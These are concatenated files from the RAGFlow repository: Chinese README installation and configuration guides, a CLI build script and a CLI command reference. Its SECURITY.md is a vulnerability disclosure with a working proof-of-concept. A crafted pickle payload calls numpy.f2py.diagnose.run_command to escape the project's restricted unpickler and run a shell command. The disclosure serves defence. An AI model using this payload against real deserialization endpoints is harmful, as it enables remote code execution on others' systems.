+> - 華為雲鏡像名：`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow`
+> - 阿里雲鏡像名：`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow`
+
+4. 伺服器啟動成功後再次確認伺服器狀態：
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _出現以下介面提示說明伺服器啟動成功：_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > 如果您跳過這一步驟系統確認步驟就登入 RAGFlow，你的瀏覽器有可能會提示 `network abnormal` 或 `網路異常`，因為 RAGFlow 可能並未完全啟動成功。
+   >
+5. 在你的瀏覽器中輸入你的伺服器對應的 IP 位址並登入 RAGFlow。
+
+   > 上面這個範例中，您只需輸入 http://IP_OF_YOUR_MACHINE 即可：未改動過設定則無需輸入連接埠（預設的 HTTP 服務連接埠 80）。
+   >
+6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案的 `user_default_llm` 欄位設定 LLM factory，並在 `API_KEY` 欄填入和你選擇的大模型相對應的 API key。
+
+   > 詳見 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。
+   >
+
+   _好戲開始，接著奏樂接著舞！ _
+
+## 🔧 系統配置
+
+系統配置涉及以下三份文件：
+
+- [.env](./docker/.env)：存放一些系統環境變量，例如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template)：設定各類別後台服務。
+- [docker-compose.yml](./docker/docker-compose.yml): 系統依賴該檔案完成啟動。
+
+請務必確保 [.env](./docker/.env) 檔案中的變數設定與 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案中的設定保持一致！
+
+如果無法存取映像網站 hub.docker.com 或模型網站 huggingface.co，請依照 [.env](./docker/.env) 註解修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。
+
+> [./docker/README](./docker/README.md) 解釋了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的環境變數設定和服務配置。
+
+如需更新預設的 HTTP 服務連接埠(80), 可以在[docker-compose.yml](./docker/docker-compose.yml) 檔案中將配置 `80:80` 改為 `<YOUR_SERVING_PORT>:80` 。
+
+> 所有系統配置都需要透過系統重新啟動生效：
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+###把文檔引擎從 Elasticsearch 切換成為 Infinity
+
+RAGFlow 預設使用 Elasticsearch 儲存文字和向量資料. 如果要切換為 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步驟進行:
+
+1. 停止所有容器運作:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+   Note: `-v` 將會刪除 docker 容器的 volumes，已有的資料會被清空。
+2. 設定 **docker/.env** 目錄中的 `DOC_ENGINE` 為 `infinity`.
+3. 啟動容器:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Infinity 目前官方並未正式支援在 Linux/arm64 架構下的機器上運行.
+
+## 🔧 原始碼編譯 Docker 映像
+
+本 Docker 映像大小約 2 GB 左右並且依賴外部的大模型和 embedding 服務。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+若您位於代理環境，可傳遞代理參數：
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 以原始碼啟動服務
+
+1. 安裝 `uv`。如已安裝，可跳過此步驟：
+
+   ```bash
+   pipx install uv
+   export UV_INDEX=https://mirrors.aliyun.com/pypi/simple
+   ```
+2. 下載原始碼並安裝 Python 依賴：
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. 透過 Docker Compose 啟動依賴的服務（MinIO, Elasticsearch, Redis, and MySQL）：
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   在 `/etc/hosts` 中加入以下程式碼，將 **conf/service_conf.yaml** 檔案中的所有 host 位址都解析為 `127.0.0.1`：
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. 如果無法存取 HuggingFace，可以把環境變數 `HF_ENDPOINT` 設為對應的鏡像網站：
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. 如果你的操作系统没有 jemalloc，请按照如下方式安装：
+
+   ```bash
+   # ubuntu
+   sudo apt-get install libjemalloc-dev
+   # centos
+   sudo yum install jemalloc
+   # mac
+   sudo brew install jemalloc
+   ```
+6. 啟動後端服務：
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. 安裝前端依賴：
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. 啟動前端服務：
+
+   ```bash
+   npm run dev
+   ```
+
+   以下界面說明系統已成功啟動：_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+   ```
+
+   ```
+9. 開發完成後停止 RAGFlow 前端和後端服務：
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 技術文檔
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 路線圖
+
+詳見 [RAGFlow Roadmap 2026](https://github.com/infiniflow/ragflow/issues/12241) 。
+
+## 🏄 開源社群
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 貢獻指南
+
+RAGFlow 只有透過開源協作才能蓬勃發展。秉持這項精神,我們歡迎來自社區的各種貢獻。如果您有意參與其中,請查閱我們的 [貢獻者指南](https://ragflow.io/docs/dev/contributing) 。
+
+## 🤝 商務合作
+
+- [預約諮詢](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh)
+
+## 👥 加入社區
+
+掃二維碼加入 RAGFlow 小助手，進 RAGFlow 交流群。
+
+<p align="center">
+  <img src="https://github.com/infiniflow/ragflow/assets/7248/bccf284f-46f2-4445-9809-8f1030fb7585" width=50% height=50%>
+</p>

README_zh.md

@@ -0,0 +1,431 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DBEDFA"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 目录</b></summary>
+
+- 💡 [RAGFlow 是什么？](#-RAGFlow-是什么)
+- 🎮 [快速开始](#-快速开始)
+- 📌 [近期更新](#-近期更新)
+- 🌟 [主要功能](#-主要功能)
+- 🔎 [系统架构](#-系统架构)
+- 🎬 [自主托管](#-自主托管)
+- 🔧 [系统配置](#-系统配置)
+- 🔨 [以源代码启动服务](#-以源代码启动服务)
+- 📚 [技术文档](#-技术文档)
+- 📜 [路线图](#-路线图)
+- 🏄 [贡献指南](#-贡献指南)
+- 🙌 [加入社区](#-加入社区)
+- 🤝 [商务合作](#-商务合作)
+
+</details>
+
+## 💡 RAGFlow 是什么？
+
+[RAGFlow](https://ragflow.io/) 是一款领先的开源检索增强生成（[RAG](https://ragflow.io/basics/what-is-rag)）引擎，通过融合前沿的 RAG 技术与 Agent 能力，为大型语言模型提供卓越的上下文层。它提供可适配任意规模企业的端到端 RAG 工作流，凭借融合式[上下文引擎](https://ragflow.io/basics/what-is-agent-context-engine)与预置的 Agent 模板，助力开发者以极致效率与精度将复杂数据转化为高可信、生产级的人工智能系统。
+
+## 🎮 快速开始
+
+请登录网址 [https://cloud.ragflow.io](https://cloud.ragflow.io) 体验云服务。
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 近期更新
+
+- 2026-06-15 支持飞书、Discord、Telegram、Line 等多种聊天渠道。
+- 2026-04-24 支持 DeepSeek v4.
+- 2026-03-24 发布 [RAGFlow 官方 Skill](https://clawhub.ai/yingfeng/ragflow-skill) — 提供官方 Skill 以通过 OpenClaw 访问 RAGFlow 数据集。
+- 2025-12-26 支持 AI 代理的"记忆"功能。
+- 2025-11-19 支持 Gemini 3 Pro。
+- 2025-11-12 支持从 Confluence、S3、Notion、Discord、Google Drive 进行数据同步。
+- 2025-10-23 支持 MinerU 和 Docling 作为文档解析方法。
+- 2025-10-15 支持可编排的数据管道。
+- 2025-08-08 支持 OpenAI 最新的 GPT-5 系列模型。
+- 2025-08-01 支持 agentic workflow 和 MCP。
+- 2025-05-23 Agent 新增 Python/JS 代码执行器组件。
+- 2025-03-19 PDF 和 DOCX 中的图支持用多模态大模型去解析得到描述。
+
+
+## 🎉 关注项目
+
+⭐️ 点击右上角的 Star 关注 RAGFlow，可以获取最新发布的实时通知 !🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 主要功能
+
+### 🍭 **"Quality in, quality out"**
+
+- 基于[深度文档理解](./deepdoc/README.md)，能够从各类复杂格式的非结构化数据中提取真知灼见。
+- 真正在无限上下文（token）的场景下快速完成大海捞针测试。
+
+### 🍱 **基于模板的文本切片**
+
+- 不仅仅是智能，更重要的是可控可解释。
+- 多种文本模板可供选择
+
+### 🌱 **有理有据、最大程度降低幻觉（hallucination）**
+
+- 文本切片过程可视化，支持手动调整。
+- 有理有据：答案提供关键引用的快照并支持追根溯源。
+
+### 🍔 **兼容各类异构数据源**
+
+- 支持丰富的文件类型，包括 Word 文档、PPT、excel 表格、txt 文件、图片、PDF、影印件、复印件、结构化数据、网页等。
+
+### 🛀 **全程无忧、自动化的 RAG 工作流**
+
+- 全面优化的 RAG 工作流可以支持从个人应用乃至超大型企业的各类生态系统。
+- 大语言模型 LLM 以及向量模型均支持配置。
+- 基于多路召回、融合重排序。
+- 提供易用的 API，可以轻松集成到各类企业系统。
+
+## 🔎 系统架构
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 自主托管
+
+### 📝 前提条件
+
+- CPU >= 4 核
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): 仅在你打算使用 RAGFlow 的代码执行器（沙箱）功能时才需要安装。
+
+> [!TIP]
+> 如果你并没有在本机安装 Docker（Windows、Mac，或者 Linux）, 可以参考文档 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安装。
+
+### 🚀 启动服务器
+
+1. 确保 `vm.max_map_count` 不小于 262144：
+
+   > 如需确认 `vm.max_map_count` 的大小：
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > 如果 `vm.max_map_count` 的值小于 262144，可以进行重置：
+   >
+   > ```bash
+   > # 这里我们设为 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > 你的改动会在下次系统重启时被重置。如果希望做永久改动，还需要在 **/etc/sysctl.conf** 文件里把 `vm.max_map_count` 的值再相应更新一遍：
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+
+2. 克隆仓库：
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+
+3. 进入 **docker** 文件夹，利用提前编译好的 Docker 镜像启动服务器：
+
+> [!CAUTION]
+> 请注意，目前官方提供的所有 Docker 镜像均基于 x86 架构构建，并不提供基于 ARM64 的 Docker 镜像。
+> 如果你的操作系统是 ARM64 架构，请参考[这篇文档](https://ragflow.io/docs/dev/build_docker_image)自行构建 Docker 镜像。
+
+   > 运行以下命令会自动下载 RAGFlow Docker 镜像 `v0.26.4`。请参考下表查看不同 Docker 发行版的描述。如需下载不同于 `v0.26.4` 的 Docker 镜像，请在运行 `docker compose` 启动服务之前先更新 **docker/.env** 文件内的 `RAGFLOW_IMAGE` 变量。
+
+   ```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # 可选：使用稳定版本标签（查看发布：https://github.com/infiniflow/ragflow/releases）
+   # 这一步确保代码中的 entrypoint.sh 文件与 Docker 镜像的版本保持一致。
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+   ```
+
+   > 注意：在 `v0.22.0` 之前的版本，我们会同时提供包含 embedding 模型的镜像和不含 embedding 模型的 slim 镜像。具体如下：
+
+   | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+   |-------------------|-----------------|-----------------------|----------------|
+   | v0.21.1           | &approx;9       | ✔️                    | Stable release |
+   | v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+   > 从 `v0.22.0` 开始，我们只发布 slim 版本，并且不再在镜像标签后附加 **-slim** 后缀。
+
+   > [!TIP]
+   > 如果你遇到 Docker 镜像拉不下来的问题，可以在 **docker/.env** 文件内根据变量 `RAGFLOW_IMAGE` 的注释提示选择华为云或者阿里云的相应镜像。
+   >
+   > - 华为云镜像名：`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow`
+   > - 阿里云镜像名：`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow`
+
+4. 服务器启动成功后再次确认服务器状态：
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _出现以下界面提示说明服务器启动成功：_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > 如果您在没有看到上面的提示信息出来之前，就尝试登录 RAGFlow，你的浏览器有可能会提示 `network abnormal` 或 `网络异常`。
+
+5. 在你的浏览器中输入你的服务器对应的 IP 地址并登录 RAGFlow。
+   > 上面这个例子中，您只需输入 http://IP_OF_YOUR_MACHINE 即可：未改动过配置则无需输入端口（默认的 HTTP 服务端口 80）。
+6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件的 `user_default_llm` 栏配置 LLM factory，并在 `API_KEY` 栏填写和你选择的大模型相对应的 API key。
+
+   > 详见 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。
+
+   _好戏开始，接着奏乐接着舞！_
+
+## 🔧 系统配置
+
+系统配置涉及以下三份文件：
+
+- [.env](./docker/.env)：存放一些基本的系统环境变量，比如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template)：配置各类后台服务。
+- [docker-compose.yml](./docker/docker-compose.yml): 系统依赖该文件完成启动。
+
+请务必确保 [.env](./docker/.env) 文件中的变量设置与 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件中的配置保持一致！
+
+如果不能访问镜像站点 hub.docker.com 或者模型站点 huggingface.co，请按照 [.env](./docker/.env) 注释修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。
+
+> [./docker/README](./docker/README.md) 解释了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的环境变量设置和服务配置。
+
+如需更新默认的 HTTP 服务端口(80), 可以在 [docker-compose.yml](./docker/docker-compose.yml) 文件中将配置 `80:80` 改为 `<YOUR_SERVING_PORT>:80`。
+
+> 所有系统配置都需要通过系统重启生效：
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### 把文档引擎从 Elasticsearch 切换成为 Infinity
+
+RAGFlow 默认使用 Elasticsearch 存储文本和向量数据. 如果要切换为 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步骤进行:
+
+1. 停止所有容器运行:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+   Note: `-v` 将会删除 docker 容器的 volumes，已有的数据会被清空。
+
+2. 设置 **docker/.env** 目录中的 `DOC_ENGINE` 为 `infinity`.
+
+3. 启动容器:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Infinity 目前官方并未正式支持在 Linux/arm64 架构下的机器上运行.
+
+## 🔧 源码编译 Docker 镜像
+
+本 Docker 镜像大小约 2 GB 左右并且依赖外部的大模型和 embedding 服务。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+如果您处在代理环境下，可以传递代理参数：
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 以源代码启动服务
+
+1. 安装 `uv`。如已经安装，可跳过本步骤：
+
+   ```bash
+   pipx install uv
+   export UV_INDEX=https://mirrors.aliyun.com/pypi/simple
+   ```
+
+2. 下载源代码并安装 Python 依赖：
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+
+3. 通过 Docker Compose 启动依赖的服务（MinIO, Elasticsearch, Redis, and MySQL）：
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   在 `/etc/hosts` 中添加以下代码，目的是将 **conf/service_conf.yaml** 文件中的所有 host 地址都解析为 `127.0.0.1`：
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. 如果无法访问 HuggingFace，可以把环境变量 `HF_ENDPOINT` 设成相应的镜像站点：
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. 如果你的操作系统没有 jemalloc，请按照如下方式安装：
+
+   ```bash
+   # ubuntu
+   sudo apt-get install libjemalloc-dev
+   # centos
+   sudo yum install jemalloc
+   # mac
+   sudo brew install jemalloc
+   ```
+
+6. 启动后端服务：
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+7. 安装前端依赖：
+
+   ```bash
+   cd web
+   npm install
+   ```
+
+8. 启动前端服务：
+
+   ```bash
+   npm run dev
+   ```
+
+   _以下界面说明系统已经成功启动：_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+9. 开发完成后停止 RAGFlow 前端和后端服务：
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+
+## 📚 技术文档
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 路线图
+
+详见 [RAGFlow Roadmap 2026](https://github.com/infiniflow/ragflow/issues/12241) 。
+
+## 🏄 开源社区
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 贡献指南
+
+RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们欢迎来自社区的各种贡献。如果您有意参与其中,请查阅我们的 [贡献者指南](https://ragflow.io/docs/dev/contributing) 。
+
+## 🤝 商务合作
+
+- [预约咨询](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh)
+
+## 👥 加入社区
+
+扫二维码添加 RAGFlow 小助手，进 RAGFlow 交流群。
+
+<p align="center">
+  <img src="https://github.com/infiniflow/ragflow/assets/7248/bccf284f-46f2-4445-9809-8f1030fb7585" width=50% height=50%>
+</p>

SECURITY.md

@@ -0,0 +1,74 @@
+# Security Policy
+
+## Supported Versions
+
+Use this section to tell people about which versions of your project are
+currently being supported with security updates.
+
+| Version | Supported          |
+|---------|--------------------|
+| <=0.7.0 | :white_check_mark: |
+
+## Reporting a Vulnerability
+
+### Branch name
+
+main
+
+### Actual behavior
+
+The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution.
+The main reason is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy.
+
+
+### Steps to reproduce
+
+
+**ragflow_patch.py**
+
+```py
+import builtins
+import io
+import pickle
+
+safe_module = {
+    'numpy',
+    'rag_flow'
+}
+
+
+class RestrictedUnpickler(pickle.Unpickler):
+    def find_class(self, module, name):
+        import importlib
+        if module.split('.')[0] in safe_module:
+            _module = importlib.import_module(module)
+            return getattr(_module, name)
+        # Forbid everything else.
+        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
+                                     (module, name))
+
+
+def restricted_loads(src):
+    """Helper function analogous to pickle.loads()."""
+    return RestrictedUnpickler(io.BytesIO(src)).load()
+```
+Then, **PoC.py**
+```py
+import pickle
+from ragflow_patch import restricted_loads
+class Exploit:
+     def __reduce__(self):
+         import numpy.f2py.diagnose
+         return numpy.f2py.diagnose.run_command, ('whoami', )
+
+Payload=pickle.dumps(Exploit())
+restricted_loads(Payload)
+```
+**Result**
+![image](https://github.com/infiniflow/ragflow/assets/85293841/8e5ed255-2e84-466c-bce4-776f7e4401e8)
+
+
+### Additional information
+
+#### How to prevent?
+Strictly filter the module and name before calling with getattr function.

admin/build_cli_release.sh

@@ -0,0 +1,47 @@
+#!/bin/bash
+
+set -e
+
+echo "🚀 Start building..."
+echo "================================"
+
+PROJECT_NAME="ragflow-cli"
+
+RELEASE_DIR="release"
+BUILD_DIR="dist"
+SOURCE_DIR="src"
+PACKAGE_DIR="ragflow_cli"
+
+echo "🧹 Clean old build folder..."
+rm -rf release/
+
+echo "📁 Prepare source code..."
+mkdir release/$PROJECT_NAME/$SOURCE_DIR -p
+cp pyproject.toml release/$PROJECT_NAME/pyproject.toml
+cp README.md release/$PROJECT_NAME/README.md
+
+mkdir release/$PROJECT_NAME/$SOURCE_DIR/$PACKAGE_DIR -p
+cp ragflow_cli.py release/$PROJECT_NAME/$SOURCE_DIR/$PACKAGE_DIR/ragflow_cli.py
+
+if [ -d "release/$PROJECT_NAME/$SOURCE_DIR" ]; then
+    echo "✅ source dir: release/$PROJECT_NAME/$SOURCE_DIR"
+else
+    echo "❌ source dir not exist: release/$PROJECT_NAME/$SOURCE_DIR"
+    exit 1
+fi
+
+echo "🔨 Make build file..."
+cd release/$PROJECT_NAME
+export PYTHONPATH=$(pwd)
+python -m build
+
+echo "✅ check build result..."
+if [ -d "$BUILD_DIR" ]; then
+    echo "📦 Package generated:"
+    ls -la $BUILD_DIR/
+else
+    echo "❌ Build Failed: $BUILD_DIR not exist."
+    exit 1
+fi
+
+echo "🎉 Build finished successfully!"

admin/client/COMMAND.md

@@ -0,0 +1,779 @@
+# RAGFlow CLI User Command Reference
+
+This document describes the user commands available in RAGFlow CLI. All commands must end with a semicolon (`;`).
+
+## Command List
+
+### ping_server
+
+**Description**  
+Tests the connection status to the server.
+
+**Usage**  
+```
+PING;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> PING;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### show_current_user
+
+**Description**  
+Displays information about the currently logged-in user.
+
+**Usage**  
+```
+SHOW CURRENT USER;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> SHOW CURRENT USER;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### create_model_provider
+
+**Description**  
+Creates a new model provider.
+
+**Usage**  
+```
+CREATE MODEL PROVIDER <provider_name> <provider_key>;
+```
+
+**Parameters**  
+- `provider_name`: Provider name, quoted string.
+- `provider_key`: Provider key, quoted string.
+
+**Example**  
+```
+ragflow> CREATE MODEL PROVIDER 'openai' 'sk-...';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### drop_model_provider
+
+**Description**  
+Deletes a model provider.
+
+**Usage**  
+```
+DROP MODEL PROVIDER <provider_name>;
+```
+
+**Parameters**  
+- `provider_name`: Name of the provider to delete, quoted string.
+
+**Example**  
+```
+ragflow> DROP MODEL PROVIDER 'openai';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### set_default_llm
+
+**Description**  
+Sets the default LLM (Large Language Model).
+
+**Usage**  
+```
+SET DEFAULT LLM <llm_id>;
+```
+
+**Parameters**  
+- `llm_id`: LLM identifier, quoted string.
+
+**Example**  
+```
+ragflow> SET DEFAULT LLM 'gpt-4';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### set_default_vlm
+
+**Description**  
+Sets the default VLM (Vision Language Model).
+
+**Usage**  
+```
+SET DEFAULT VLM <vlm_id>;
+```
+
+**Parameters**  
+- `vlm_id`: VLM identifier, quoted string.
+
+**Example**  
+```
